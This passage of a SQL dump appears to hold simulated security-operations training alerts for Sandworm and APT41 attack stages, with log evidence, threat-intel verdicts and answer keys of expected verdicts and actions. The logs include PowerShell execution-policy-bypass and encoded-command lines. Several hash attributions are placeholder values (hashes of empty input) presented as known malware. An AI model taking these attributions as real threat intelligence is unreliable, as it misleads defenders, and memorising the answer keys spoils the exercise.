attempt.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.enc\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_dlp\",\"verdict\":\"suspicious\",\"details\":\"Filename indicative of sensitive encrypted data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jsmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"employee_directory\",\"verdict\":\"clean\",\"details\":\"Username of the individual using the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.142Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_source\\\":\\\"DLP System\\\",\\\"internal_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"detected_files\\\":[{\\\"filename\\\":\\\"confidential_data.enc\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}],\\\"username\\\":\\\"jsmith\\\",\\\"action\\\":\\\"attempted_exfiltration\\\",\\\"network_protocol\\\":\\\"HTTPS\\\",\\\"file_size\\\":\\\"15MB\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(525, 'Initial Breach Detected: Unauthorized Network Access', 'high', 'Network Traffic Analysis', 'The attackers exploited a vulnerability in the event\'s ticketing system to enter the network. This marks the first step in their infiltration, indicating a sophisticated approach to gaining a foothold within the target\'s network.', 'Initial Access', 'T1190 - Exploit Public-Facing Application', 1, 'closed', 1, '{\"timestamp\":\"2023-10-15T14:56:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"request_url\":\"https://event.ticketing.com/login\",\"exploit_used\":\"CVE-2023-XXXX\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"exploit_payload.bin\",\"username\":\"compromised_user\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by initial access.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Sandworm.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exploit_payload.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in exploitation attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Activity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual login activity detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(526, 'Malicious Script Execution: Ceremony Systems Compromised', 'high', 'Endpoint Detection and Response (EDR)', 'A carefully crafted script was executed on key systems involved in the ceremony, initiating a sequence of disruptions. The script is linked to known Sandworm TTPs, aiming to deploy destructive malware within the ceremony\'s IT infrastructure.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:23Z\",\"hostname\":\"ceremony-server-01\",\"username\":\"admin_ceremony\",\"process\":\"/usr/bin/powershell\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\Public\\\\malicious_script.ps1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"internal_ip\":\"10.10.5.23\",\"external_ip\":\"185.143.223.101\",\"filename\":\"malicious_script.ps1\",\"process_id\":4721,\"malware_family\":\"Olympic Destroyer\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.10.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with the compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.143.223.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"External IP address associated with known Sandworm operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Olympic Destroyer malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Script file executed on the server, related to the malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(527, 'Persistence Mechanism Activated: Backdoors Installed', 'high', 'System Logs', 'The threat actors associated with the Sandworm group have successfully installed backdoors on multiple systems within the network. This action is part of their persistence strategy to maintain access even if initial access vectors are mitigated. The logs indicate suspicious activity from an external IP address linked with known malicious activity.', 'Persistence', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":4625,\"source_ip\":\"185.92.220.33\",\"username\":\"compromised_user\",\"command_executed\":\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\",\"file_created\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"file_hash\":\"2c1743a391305fbf367df8e4f069f9f9\",\"internal_ip\":\"192.168.1.15\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Sandworm group activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"User account observed in unusual activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2c1743a391305fbf367df8e4f069f9f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known backdoor executable\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host showing signs of compromise\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.145Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4625,\\\"source_ip\\\":\\\"185.92.220.33\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"command_executed\\\":\\\"powershell -encodedCommand UwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdAAgAC0AcABhAHIAcwBlAFMAdABhAHIAdAAgAE0AdQBsAHQAaQBzAHQAYQByAHQAZQByACAALQBhAHQAdAByACAAIgBIAEEAVABjAGgAIgA=\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"2c1743a391305fbf367df8e4f069f9f9\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(528, 'Lateral Movement: Spreading Through Critical Systems', 'high', 'Internal Network Monitoring', 'The threat actor is engaging in lateral movement within the network, targeting critical systems essential for the ceremony\'s operation. The objective is to identify and disrupt key systems, potentially using malware associated with known destructive campaigns.', 'Lateral Movement', 'T1550: Use Alternate Authentication Material', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.10.25\",\"dst_ip\":\"192.168.1.100\",\"src_port\":445,\"dst_port\":135,\"protocol\":\"SMB\",\"username\":\"ceremony_admin\",\"file_accessed\":\"Olympic_Destroyer.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"external_malicious_ip\":\"203.0.113.45\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_db\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_asset_db\",\"verdict\":\"internal\",\"details\":\"Critical internal server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Olympic_Destroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known malware associated with Olympic Destroyer campaign.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Olympic Destroyer malware.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Sandworm activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(529, 'Data Exfiltration: Sensitive Information Targeted', 'high', 'Data Loss Prevention (DLP)', 'In a final move, data is exfiltrated, possibly containing sensitive information that can be leveraged in future operations or sold on the black market. The threat actor utilized a compromised internal server to transmit sensitive documents to an external IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:08Z\",\"internal_source_ip\":\"192.168.45.22\",\"external_destination_ip\":\"203.0.113.57\",\"user\":\"jdoe\",\"exfiltrated_files\":[\"confidential_report.pdf\",\"financial_summary.xlsx\"],\"malware_hash\":\"4a8a08f09d37b73795649038408b5f33\",\"protocol\":\"HTTPS\",\"destination_port\":443,\"alert_id\":\"DLP-EXFIL-20231015-001\",\"detected_by\":\"Company DLP System\",\"associated_campaign\":\"Olympic Destroyer\"}', '2026-01-06 01:44:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known exfiltration attempts by Sandworm APT\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.45.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Compromised internal server used for data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4a8a08f09d37b73795649038408b5f33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with Sandworm campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Data Loss Prevention Logs\",\"verdict\":\"suspicious\",\"details\":\"File flagged during exfiltration attempt\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(530, 'Initial Access: ASUS Update Utility Compromised', 'critical', 'Network Traffic Analysis', 'APT41 has compromised the ASUS Live Update utility, enabling malware distribution via a supply chain attack. This can potentially allow the threat actor to infiltrate systems that use the ASUS update service.', 'Supply Chain Attack', 'T1195.002', 1, 'Closed', 68, '{\"timestamp\":\"2023-10-25T14:23:05Z\",\"event_type\":\"network_connection\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"ASUSUpdate.exe\",\"file_hash\":\"3a2f4e6d2b2a4f5c6f9e8b7e4c1d2f3e\",\"user\":\"jsmith\",\"action\":\"connection_attempt\",\"status\":\"success\",\"direction\":\"outbound\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Source IP is from an internal network range.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feeds\",\"verdict\":\"malicious\",\"details\":\"Destination IP is associated with APT41 